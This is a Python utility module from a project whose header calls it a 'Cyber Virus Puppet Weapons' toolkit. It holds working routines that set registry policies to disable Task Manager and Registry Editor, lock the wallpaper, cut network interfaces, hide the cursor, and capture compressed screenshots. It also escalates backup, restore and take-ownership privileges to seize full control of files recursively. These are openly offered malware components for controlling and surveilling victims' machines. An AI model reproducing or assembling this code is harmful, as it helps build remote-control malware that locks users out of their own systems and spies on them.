Files
2026-07-28 03:21:34 +08:00

674 lines
29 KiB
Python

# -*- Config : UTF-8 -*-
# Project Name: Termination Generally Use Cyber Virus Puppet Weapons - TLib/T_Tools
# Version: 4.2.0
# Build Version: ./TConfig/version.ini
# Author: Veyra
# Description:
# Tools
# Some of the tools in this project are complex, practical, and diverse.
from .T_imports import *
from . import T_Std
@staticmethod
def RegTaskmgrDisable() -> bool:
try:
key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
winreg.SetValueEx(key, "DisableTaskMgr", 0, winreg.REG_DWORD, 1)
winreg.CloseKey(key)
return True
except Exception as e:
print(T_Std.ErrorFormat(e, "RegTaskmgrDis Error"))
return False
@staticmethod
def RegEditDisable() -> bool:
try:
key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
winreg.SetValueEx(key, "DisableRegistryTools", 0, winreg.REG_DWORD, 1)
winreg.CloseKey(key)
return True
except Exception as e:
print(T_Std.ErrorFormat(e, "RegEditDis Error"))
return False
@staticmethod
def RegBgDisable() -> bool:
try:
key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
winreg.SetValueEx(key, "Wallpaper", 0, winreg.REG_SZ, r"c:\\" )
winreg.SetValueEx(key, "WallpaperStyle", 0, winreg.REG_DWORD, 1)
winreg.CloseKey(key)
return True
except Exception as e:
print(T_Std.ErrorFormat(e, "RegBgDis Error"))
return False
@staticmethod
def RegTaskmgrEnable() -> bool:
try:
key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
winreg.SetValueEx(key, "DisableTaskMgr", 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)
return True
except Exception as e:
print(T_Std.ErrorFormat(e, "RegTaskmgrEnable Error"))
return False
@staticmethod
def RegEditEnable() -> bool:
try:
key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
winreg.SetValueEx(key, "DisableRegistryTools", 0, winreg.REG_DWORD, 0)
winreg.CloseKey(key)
return True
except Exception as e:
print(T_Std.ErrorFormat(e, "RegEditEnable Error"))
return False
@staticmethod
def RegBgEnable() -> bool:
try:
key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
winreg.DeleteValue(key, "Wallpaper")
winreg.DeleteValue(key, "WallpaperStyle")
winreg.CloseKey(key)
return True
except Exception as e:
print(T_Std.ErrorFormat(e, "RegBgEnable Error"))
return False
@staticmethod
def IsProcess(name: str) -> bool:
name: str = os.path.basename(name)
for p in psutil.process_iter(['name']):
if p.info['name'].lower() == name.lower():
return True
return False
@staticmethod
def IsService(name: str) -> bool | str:
try: _: str = psutil.win_service_get(name)
except: return False
return _
@staticmethod
def GetServiceBinpath(ServiceName: str) -> str | None:
try:
r: subprocess.CompletedProcess = subprocess.run(["sc", "qc", ServiceName], capture_output = True, text = True, check = True)
for line in r.stdout.splitlines():
if "BINARY_PATH_NAME" in line:
return line.split(":", 1)[1].strip()
return None
except subprocess.CalledProcessError:
return None
#class Command:
# def __init__(self, cmd):
# self.cmd = cmd
# #startupinfo = None
# #if sys.platform.startswith('win'):
# startupinfo = subprocess.STARTUPINFO()
# startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW
# startupinfo.wShowWindow = subprocess.SW_HIDE
# #else:
# # creationflags = 0
# self.result = subprocess.run(
# cmd,
# stdout=subprocess.PIPE,
# stderr = subprocess.PIPE,
# universal_newlines=True,
# shell=False,
# startupinfo=startupinfo,
# creationflags=subprocess.CREATE_NO_WINDOW
# )
# self.stdout = self.result.stdout
# self.stderr = self.result.stderr
# self.returncode = self.result.returncode
# def __str__(self):
# return self.stdout
# def count(self, substring):
# return self.stdout.count(substring) + self.stderr.count(substring)
# def ishad(self, items):
# if not isinstance(items, (list, tuple, set)): items = [items]
# return any(self.count(item) > 0 for item in items)
# def successtatus(self):
# return self.ishad(["success", "successfully", "成功"])
class Command:
def __init__(self, cmd: str):
self.cmd: dict = cmd if type(cmd) == list else shlex.split(cmd)
self.CompletedProcess: subprocess.CompletedProcess = subprocess.run(self.cmd, capture_output=True, text=True, shell=False)
self.result: str = self.CompletedProcess.stdout
self.returncode: str = self.CompletedProcess.returncode
def __str__(self) -> str:
return self.result
def count(self, substring: str) -> int:
return self.result.count(substring)
def ishad(self, items: str | list | tuple | set) -> bool:
if not isinstance(items, (list, tuple, set)): items: dict = [items]
return any(self.count(item) > 0 for item in items)
def successtatus(self) -> bool:
return self.ishad(["success", "successfully", "成功"])
class WindowsService:
@staticmethod
def StartService(ServiceName: str) -> bool:
try:
win32serviceutil.StartService(ServiceName)
return True
except pywintypes.error as e:
return e.winerror
@staticmethod
def StopService(ServiceName: str) -> bool:
try:
win32serviceutil.StopService(ServiceName)
return True
except pywintypes.error as e:
return e.winerror
def DisableNetwork() -> list[str] | None:
system: str = platform.system()
if system == "Linux":
result: subprocess.CompletedProcess = subprocess.run(['ip', '-o', 'link', 'show'], capture_output=True, text=True)
interfaces: list[str] = [line.split(':')[1].strip() for line in result.stdout.split('\n') if 'state UP' in line]
if interfaces:
for interface in interfaces:
subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'])
return interfaces
elif system == "Windows":
result: subprocess.CompletedProcess = subprocess.run(['netsh', 'interface', 'show', 'interface'], capture_output=True, text=True)
connections: list[str] = [line.split(' ')[-1].strip() for line in result.stdout.split('\n') if 'Connected' in line and not 'Loopback' in line]
if connections:
for conn in connections:
subprocess.run(['netsh', 'interface', 'set', 'interface', f'name="{conn}"', 'admin=disable'])
return connections
return None
def EnableNetwork(interfaces: list[str]) -> None:
system: str = platform.system()
if system == "Linux" and interfaces:
for interface in interfaces:
subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'])
elif system == "Windows" and interfaces:
for conn in interfaces:
subprocess.run(['netsh', 'interface', 'set', 'interface', f'name="{conn}"', 'admin=enable'])
class WindowsScreenCapture:
def __init__(self):
self.user32: ctypes.WinDLL = ctypes.windll.user32
self.gdi32: ctypes.WinDLL = ctypes.windll.gdi32
class CURSORINFO(ctypes.Structure):
_fields_: list[tuple[str, ctypes.c_uint]] = [
("cbSize", ctypes.c_uint),
("flags", ctypes.c_uint),
("hCursor", ctypes.c_void_p),
("ptScreenPos", ctypes.wintypes.POINT)
]
class ICONINFO(ctypes.Structure):
_fields_: list[tuple[str, ctypes.c_uint]] = [
("fIcon", ctypes.c_bool),
("xHotspot", ctypes.c_uint),
("yHotspot", ctypes.c_uint),
("hbmMask", ctypes.c_void_p),
("hbmColor", ctypes.c_void_p)
]
self.CURSORINFO: type[CURSORINFO] = CURSORINFO
self.ICONINFO: type[ICONINFO] = ICONINFO
@property
def X(self) -> int:
return win32api.GetSystemMetrics(win32con.SM_CXSCREEN)
@property
def Y(self) -> int:
return win32api.GetSystemMetrics(win32con.SM_CYSCREEN)
def GetCursorPosition(self) -> tuple[int, int]:
CursorInfo = self.CURSORINFO()
CursorInfo.cbSize = ctypes.sizeof(CursorInfo)
self.user32.GetCursorInfo(ctypes.byref(CursorInfo))
return CursorInfo.ptScreenPos.x, CursorInfo.ptScreenPos.y
def GetCursorImage(self) -> tuple[Image.Image, tuple[int, int]]:
CursorInfo = self.CURSORINFO()
CursorInfo.cbSize = ctypes.sizeof(CursorInfo)
self.user32.GetCursorInfo(ctypes.byref(CursorInfo))
if CursorInfo.flags != 1:
return None, (0, 0)
IconInfo = self.ICONINFO()
self.user32.GetIconInfo(CursorInfo.hCursor, ctypes.byref(IconInfo))
CursorWidth: int = self.user32.GetSystemMetrics(0)
CursorHeight: int = self.user32.GetSystemMetrics(1)
CursorBmp: Image.Image = Image.new("RGBA", (CursorWidth, CursorHeight), (0, 0, 0, 0))
return CursorBmp, (IconInfo.xHotspot, IconInfo.yHotspot)
def CaptureScreenWithCursor(self) -> Image.Image:
ScreenShot: Image.Image = ImageGrab.grab()
CursorPos: tuple[int, int] = self.GetCursorPosition()
CursorImage: Image.Image
Hotspot: tuple[int, int]
CursorImage, Hotspot = self.GetCursorImage()
if CursorImage:
DrawX: int = CursorPos[0] - Hotspot[0]
DrawY: int = CursorPos[1] - Hotspot[1]
ScreenShot.paste(CursorImage, (DrawX, DrawY), CursorImage)
return ScreenShot
def CompressImageWithLevel(self, image: Image.Image, CompressionLevel: int = 10) -> tuple[bytes, str]:
CompressionLevel: int = max(0, min(20, CompressionLevel))
if CompressionLevel == 0:
Buffer: io.BytesIO = io.BytesIO()
image.save(Buffer, format = "PNG")
return Buffer.getvalue(), "png"
Quality: int = 95 - (CompressionLevel * 4.5)
SizeFactor: float = 1.0 - ((CompressionLevel - 1) * 0.045)
if CompressionLevel > 1:
Width: int
Height: int
Width, Height = image.size
NewWidth: int
NewHeight: int
NewWidth, NewHeight = int(Width * SizeFactor), int(Height * SizeFactor)
image: Image.Image = image.resize((NewWidth, NewHeight), Image.Resampling.LANCZOS)
image: Image.Image = image.convert("RGB")
Buffer: io.BytesIO = io.BytesIO()
image.save(Buffer, format = "JPEG", quality = int(Quality), optimize = True)
Buffer.seek(0)
return Buffer.read(), "jpg"
def CaptureAndCompressScreenshot(self, CompressionLevel: int = 10, LeftX: int = None, LeftY: int = None, RightX: int = None, RightY: int = None) -> dict | None:
try:
StartTime: float = time.time()
if None in (LeftX, LeftY, RightX, RightY): bbox = None
else: bbox: tuple[int, int, int, int] = (LeftX, LeftY, RightX, RightY)
ScreenShotEvent: threading.Event = threading.Event()
CursorEvent: threading.Event = threading.Event()
ScreenShotResult: list[Image.Image] = []
CursorResult: list[tuple[int, int], Image.Image, tuple[Image.Image | None, tuple[int, int]]] = []
def CaptureScreenShot():
try:
ScreenShotResult.append(ImageGrab.grab(bbox = bbox) if bbox else ImageGrab.grab())
ScreenShotEvent.set()
except: return False
def CaptureCursor():
try:
CursorImage: Image.Image
Hotspot: tuple[Image.Image, tuple[int, int]]
CursorImage, Hotspot = self.GetCursorImage()
CursorResult.extend([self.GetCursorPosition(), CursorImage, Hotspot])
CursorEvent.set()
except: return False
t1 = threading.Thread(target = CaptureScreenShot)
t2 = threading.Thread(target = CaptureCursor)
t1.start()
t2.start()
t1.join()
t2.join()
ScreenShot: Image.Image = ScreenShotResult[0]
CursorPos: tuple[int, int]
CursorImage: Image.Image
Hotspot: tuple[Image.Image, tuple[int, int]]
CursorPos, CursorImage, Hotspot = CursorResult
if CursorImage:
DrawX: int = CursorPos[0] - Hotspot[0]
DrawY: int = CursorPos[1] - Hotspot[1]
if bbox:
if (bbox[0] <= DrawX <= bbox[2] and
bbox[1] <= DrawY <= bbox[3]):
ScreenShot.paste(CursorImage, (DrawX - bbox[0], DrawY - bbox[1]), CursorImage)
else: ScreenShot.paste(CursorImage, (DrawX, DrawY), CursorImage)
ImageData: bytes | Image.Image
Format: typing.Literal["jpg", "png", "gif"]
ImageData, Format = self.CompressImageWithLevel(ScreenShot, CompressionLevel)
return {
'ImageBytes': ImageData,
'Format': Format,
'CompressionLevel': CompressionLevel,
'TimeElapsed': time.time() - StartTime,
'FileSize': len(ImageData),
'IsRegion': bbox is not None,
'Region': bbox if bbox else None
}
except Exception as e:
return None
def AdjustCoordinatesAdvanced(self, CurrentCoords: tuple[int, int], MinCoord, MaxCoord, DeltaX: int = 25, DeltaY: int = 25):
X: int
Y: int
MinX: int
MinY: int
MaxX: int
MaxY: int
X, Y = CurrentCoords
MinX, MinY = MinCoord
MaxX, MaxY = MaxCoord
return (max(X - DeltaX, MinX), max(Y - DeltaY, MinY)), (min(X + DeltaX, MaxX), min(Y + DeltaY, MaxY))
def ReadFileRangeFromEnd(FilePath: str, StartLineFromEnd: int, EndLineFromEnd: int, BufferSize: int = 1024 * 10, ReturnType: typing.Union[str, list] = str) -> str | list | bytes | ValueError:
if StartLineFromEnd < 1 or EndLineFromEnd < 1: raise ValueError("Line number must be greater than 0")
if StartLineFromEnd > EndLineFromEnd: raise ValueError("StartLineFromEnd must be less than or equal to EndLineFromEnd")
LineCount: int = EndLineFromEnd
BufferSize: int = BufferSize * LineCount
with open(FilePath, 'rb') as FileObj:
FileObj.seek(0, 2)
FileSize: int = FileObj.tell()
BufferSize: int = min(BufferSize, FileSize)
Lines: list = []
CurrentPosition: int = FileSize
FoundLines: int = 0
while CurrentPosition > 0 and FoundLines < LineCount:
ReadPosition: int = max(0, CurrentPosition - BufferSize)
ChunkSize: int = CurrentPosition - ReadPosition
FileObj.seek(ReadPosition)
Chunk: bytes = FileObj.read(ChunkSize)
ChunkLines: list[bytes | str] = Chunk.splitlines()
ChunkLines: bytes | str = ChunkLines[::-1]
for Line in ChunkLines:
if FoundLines < LineCount:
Lines.append(Line)
FoundLines += 1
else: break
CurrentPosition: int = ReadPosition
Lines: bytes | str = Lines[::-1]
StartIndex: int = max(0, len(Lines) - EndLineFromEnd)
EndIndex: int = len(Lines) - StartLineFromEnd + 1
ResultLines: bytes | str = Lines[StartIndex:EndIndex]
Result: list[str] = [Line.decode('utf-8', errors='ignore') for Line in ResultLines]
if ReturnType == str: return '\n'.join(Result)
elif ReturnType == list: return Result
else: raise ValueError("Return Type Error")
def GetFileSha256(FilePath: str, ChunkSize: int = 4096) -> str:
Sha256Hash: hashlib._Hash = hashlib.sha256()
with open(FilePath, 'rb') as f:
while True:
Chunk: bytes = f.read(ChunkSize)
if not Chunk: break
Sha256Hash.update(Chunk)
return Sha256Hash.hexdigest()
def GetBytesSha256(Data: bytes, ChunkSize: int = 4096) -> str:
Sha256Hash: hashlib._Hash = hashlib.sha256()
for i in range(0, len(Data), ChunkSize):
Sha256Hash.update(Data[i:i+ChunkSize])
return Sha256Hash.hexdigest()
def IsSha256(s: str):
return bool(re.fullmatch(r'[a-fA-F0-9]{64}', s))
class FileSystemPermissionEnforcer:
@staticmethod
def _setFilePermissionsWithTakeOwnership(hFile: str, sid = None) -> bool | None:
try:
if sid is None: sid = win32security.LookupAccountName("", win32api.GetUserName())[0]
secDesc = win32security.GetFileSecurity(hFile, win32security.OWNER_SECURITY_INFORMATION)
secDesc.SetSecurityDescriptorOwner(sid, False)
dacl = win32security.ACL()
dacl.AddAccessAllowedAce(
win32security.ACL_REVISION,
ntsecuritycon.GENERIC_ALL,
sid
)
secDesc.SetSecurityDescriptorDacl(1, dacl, 0)
win32security.SetFileSecurity(hFile, win32security.DACL_SECURITY_INFORMATION, secDesc)
return True
except Exception: return False
@staticmethod
def _setFilePermissionsWithBackupRestore(hFile: str) -> bool | None:
try:
token = win32security.OpenProcessToken(
win32api.GetCurrentProcess(),
win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY
)
win32security.AdjustTokenPrivileges(
token,
False,
[
(win32security.LookupPrivilegeValue(None, win32security.SE_BACKUP_NAME), win32security.SE_PRIVILEGE_ENABLED),
(win32security.LookupPrivilegeValue(None, win32security.SE_RESTORE_NAME), win32security.SE_PRIVILEGE_ENABLED),
]
)
sid = win32security.LookupAccountName("", win32api.GetUserName())[0]
secDesc = win32security.SECURITY_DESCRIPTOR()
dacl = win32security.ACL()
dacl.AddAccessAllowedAce(
win32security.ACL_REVISION,
ntsecuritycon.GENERIC_ALL,
sid
)
secDesc.SetSecurityDescriptorDacl(1, dacl, 0)
secDesc.SetSecurityDescriptorOwner(sid, False)
win32security.SetFileSecurity(hFile, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION, secDesc)
return True
except Exception: return False
@staticmethod
def _setFilePermissionsWithTakeOwnershipPrivilege(hFile: str) -> bool | None:
try:
token = win32security.OpenProcessToken(
win32api.GetCurrentProcess(),
win32security.TOKEN_ADJUST_PRIVILEGES | win32security.TOKEN_QUERY
)
win32security.AdjustTokenPrivileges(
token,
False,
[
(win32security.LookupPrivilegeValue(None, win32security.SE_TAKE_OWNERSHIP_NAME), win32security.SE_PRIVILEGE_ENABLED),
]
)
return FileSystemPermissionEnforcer._setFilePermissionsWithTakeOwnership(hFile)
except Exception: return False
@staticmethod
def _setFilePermissionsWithAdminPrivilege(hFile: str) -> bool | None:
try:
adminSid = win32security.LookupAccountName("", "Administrators")[0]
secDesc = win32security.GetFileSecurity(hFile, win32security.DACL_SECURITY_INFORMATION)
dacl = win32security.ACL()
dacl.AddAccessAllowedAce(
win32security.ACL_REVISION,
ntsecuritycon.GENERIC_ALL,
adminSid
)
secDesc.SetSecurityDescriptorDacl(1, dacl, 0)
win32security.SetFileSecurity(hFile, win32security.DACL_SECURITY_INFORMATION, secDesc)
return True
except Exception: return False
@staticmethod
def _setFilePermissionsWithForceMode(hFile: str) -> bool | None:
try:
sid = win32security.LookupAccountName("", win32api.GetUserName())[0]
secDesc = win32security.SECURITY_DESCRIPTOR()
dacl = win32security.ACL()
dacl.AddAccessAllowedAce(
win32security.ACL_REVISION,
ntsecuritycon.GENERIC_ALL,
sid
)
secDesc.SetSecurityDescriptorDacl(1, dacl, 0)
secDesc.SetSecurityDescriptorOwner(sid, False)
win32security.SetFileSecurity(
hFile,
win32security.DACL_SECURITY_INFORMATION |
win32security.OWNER_SECURITY_INFORMATION |
win32security.GROUP_SECURITY_INFORMATION,
secDesc
)
return True
except Exception: return False
@staticmethod
def _setFilePermissionsWithInheritance(hFile: str) -> bool | None:
try:
sid = win32security.LookupAccountName("", win32api.GetUserName())[0]
secDesc = win32security.SECURITY_DESCRIPTOR()
dacl = win32security.ACL()
dacl.AddAccessAllowedAce(
win32security.ACL_REVISION,
ntsecuritycon.GENERIC_ALL,
sid
)
secDesc.SetSecurityDescriptorDacl(1, dacl, 0)
secDesc.SetSecurityDescriptorOwner(sid, False)
win32security.SetFileSecurity(
hFile,
win32security.DACL_SECURITY_INFORMATION |
win32security.OWNER_SECURITY_INFORMATION |
win32security.PROTECTED_DACL_SECURITY_INFORMATION,
secDesc
)
return True
except Exception: return False
@staticmethod
def _tryAllPermissionMethods(filePath: str) -> bool | None:
methods: typing.List[typing.Callable] = [
FileSystemPermissionEnforcer._setFilePermissionsWithTakeOwnership,
FileSystemPermissionEnforcer._setFilePermissionsWithBackupRestore,
FileSystemPermissionEnforcer._setFilePermissionsWithTakeOwnershipPrivilege,
FileSystemPermissionEnforcer._setFilePermissionsWithAdminPrivilege,
FileSystemPermissionEnforcer._setFilePermissionsWithForceMode,
FileSystemPermissionEnforcer._setFilePermissionsWithInheritance,
]
try:
hFile: str = win32file.CreateFile(
filePath,
win32con.GENERIC_READ | win32con.GENERIC_WRITE,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None
)
for method in methods:
try: return method(hFile)
except Exception: continue
return False
finally:
try:
if 'hFile' in locals(): win32file.CloseHandle(hFile)
except: pass
@staticmethod
def enforcePermissionsRecursive(folderPath: str) -> bool | None:
try:
if not FileSystemPermissionEnforcer._tryAllPermissionMethods(folderPath): return False
for root, dirs, files in os.walk(folderPath):
for dirName in dirs:
if not FileSystemPermissionEnforcer._tryAllPermissionMethods(os.path.join(root, dirName)): return False
for fileName in files:
if not FileSystemPermissionEnforcer._tryAllPermissionMethods(os.path.join(root, fileName)): return False
return True
except Exception:
return False
def GetPidsPath(Path: str) -> list:
pids: list[int] = []
for proc in psutil.process_iter(['pid', 'exe']):
try:
if proc.info['exe'] and proc.info['exe'].lower() == Path.lower():
pids.append(proc.info['pid'])
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): pass
return pids
def GetDiskUuidByDriveLetter(wmi_conn, DL: str):
try:
disks = wmi_conn.Win32_LogicalDisk(DeviceID = f"{DL.upper()}:")
if disks: return disks[0].VolumeSerialNumber
else: return None
except Exception as e:
return None
def InstallFont(FontPath):
ctypes.windll.gdi32.AddFontResourceExW(FontPath, 0x10, 0)
def HideCursor():
while ctypes.windll.user32.ShowCursor(False) >= 0: pass
def ShowCursor():
while ctypes.windll.user32.ShowCursor(True) < 0: pass
def CombineBytesPrefixed(Parts: list[bytes]) -> bytes:
Combined = b""
for Part in Parts:
PartLen = len(Part)
LenPrefix = struct.pack("I", PartLen)
Combined += LenPrefix + Part
return Combined
def SplitBytesPrefixed(Combined: bytes) -> list[bytes]:
Parts = []
offset = 0
Combined_len = len(Combined)
while offset < Combined_len:
if offset + 4 > Combined_len:
raise ValueError("Combined bytes format is invalid, missing length prefix")
LenPrefix = Combined[offset:offset+4]
PartLen = struct.unpack("I", LenPrefix)[0]
if offset + 4 + PartLen > Combined_len:
raise ValueError("Combined bytes format is invalid, missing part content")
Part = Combined[offset+4 : offset+4+PartLen]
Parts.append(Part)
offset += 4 + PartLen
return Parts
class ChildProcessManager:
def __init__(self):
self.HJob = None
self.ProcessId = None
self.ProcessHandle = None
self.logger = None
def SetLogger(self, logger):
self.logger = logger
def Info(self, *args):
if not self.logger: return print(*args)
self.logger.Info(" ".join(args))
def StartChildProcess(self, ExePath):
self._Cleanup()
try:
self.HJob = win32job.CreateJobObject(None, "")
if not self.HJob: raise Exception("Failed To Create Job Object")
except Exception as e:
self.Info(f"Failed To Create Job Object: {e}")
self._Cleanup()
return False
try:
info = win32job.QueryInformationJobObject(self.HJob, win32job.JobObjectExtendedLimitInformation)
info['BasicLimitInformation']['LimitFlags'] |= win32job.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
win32job.SetInformationJobObject(self.HJob, win32job.JobObjectExtendedLimitInformation, info)
except Exception as e:
self.Info(f"Failed To Set Job Object Information: {e}")
self._Cleanup()
return False
startUpInfo = win32process.STARTUPINFO()
try:
hProcess, hThread, dwProcessId, dwThreadId = win32process.CreateProcess(
None, ExePath, None, None, False,
win32process.CREATE_NEW_PROCESS_GROUP | win32process.CREATE_SUSPENDED,
None, None, startUpInfo
)
self.ProcessId = dwProcessId
self.ProcessHandle = hProcess
win32job.AssignProcessToJobObject(self.HJob, hProcess)
win32process.ResumeThread(hThread)
win32api.CloseHandle(hThread)
self.Info(f"Successfully Started Child Process, PID: {dwProcessId}")
return True
except Exception as e:
self.Info(f"Failed To Start Child Process: {e}")
self._Cleanup()
return False
def IsProcessAlive(self):
if not self.ProcessId or not self.ProcessHandle: return False
try:
result = win32event.WaitForSingleObject(self.ProcessHandle, 0)
return result == win32con.WAIT_TIMEOUT
except Exception as e:
self.Info(f"Failed To Check Process Status: {e}")
return False
def _Cleanup(self):
if self.ProcessHandle:
try: win32api.CloseHandle(self.ProcessHandle)
except: pass
self.ProcessHandle = None
if self.HJob:
try: win32api.CloseHandle(self.HJob)
except: pass
self.HJob = None
self.ProcessId = None
def Close(self):
self._Cleanup()